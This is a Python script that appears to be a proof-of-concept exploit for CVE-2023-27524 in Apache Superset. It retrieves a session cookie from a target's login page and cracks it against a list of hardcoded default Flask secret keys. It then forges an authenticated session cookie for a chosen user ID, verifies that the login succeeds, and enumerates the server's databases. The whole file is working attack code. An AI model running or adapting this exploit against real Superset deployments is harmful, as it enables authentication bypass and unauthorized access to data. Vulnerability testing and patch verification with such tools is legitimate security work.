from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

def main():

    parser = argparse.ArgumentParser()
    parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
    parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
    parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
    parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
    args = parser.parse_args()

    try:
        u = args.url.rstrip('/') + '/login/'

        headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
        }

        resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
        if resp.status_code != 200:
            print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
            return

        session_cookie = None
        for c in resp.cookies:
            if c.name == 'session':
                session_cookie = c.value
                break

        if not session_cookie:
            print('Error: No session cookie found')
            return

        print(f'Got session cookie: {session_cookie}')

        try:
            decoded = session.decode(session_cookie)
            print(f'Decoded session cookie: {decoded}')
        except:
            print('Error: Not a Flask session cookie')
            return

        match = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)
        if match:
            version = match.group(1)
        else:
            version = 'Unknown'

        print(f'Superset Version: {version}')

            
        for i, k in enumerate(SECRET_KEYS):
            cracked = session.verify(session_cookie, k)
            if cracked:
                break

        if not cracked:
            print('Failed to crack session cookie')
            return

        print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')

        try:
            user_id = int(args.id)
        except:
            user_id = args.id
        
        forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
        print(f'Forged session cookie for user {user_id}: {forged_cookie}')

        if args.validate:
            validated = False
            try:
                headers['Cookie'] = f'session={forged_cookie}'
                print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
                sleep(args.timeout)
                resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
                if resp.status_code == 302:
                    print(f'Got 302 on login, forged cookie appears to have been accepted')
                    validated = True
                else:
                    print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
            except Exception as e_inner:
                print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')

            if not validated:
                return

            print('Enumerating databases')
            for i in range(1, 101):
                database_url_base = args.url.rstrip('/') + '/api/v1/database'
                try:
                    r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
                    if r.status_code == 200:
                        result = r.json()['result'] # validate response is JSON
                        name = result['database_name']
                        print(f'Found database {name}')
                    elif r.status_code == 404:
                        print(f'Done enumerating databases')
                        break # no more databases
                    else:
                        print(f'Unexpected error: status code={r.status_code}')
                        break
                except Exception as e_inner:
                    print(f'Unexpected error: {e_inner}')
                    break


    except Exception as e:
        print(f'Unexpected error: {e}')


if __name__ == '__main__':
    main()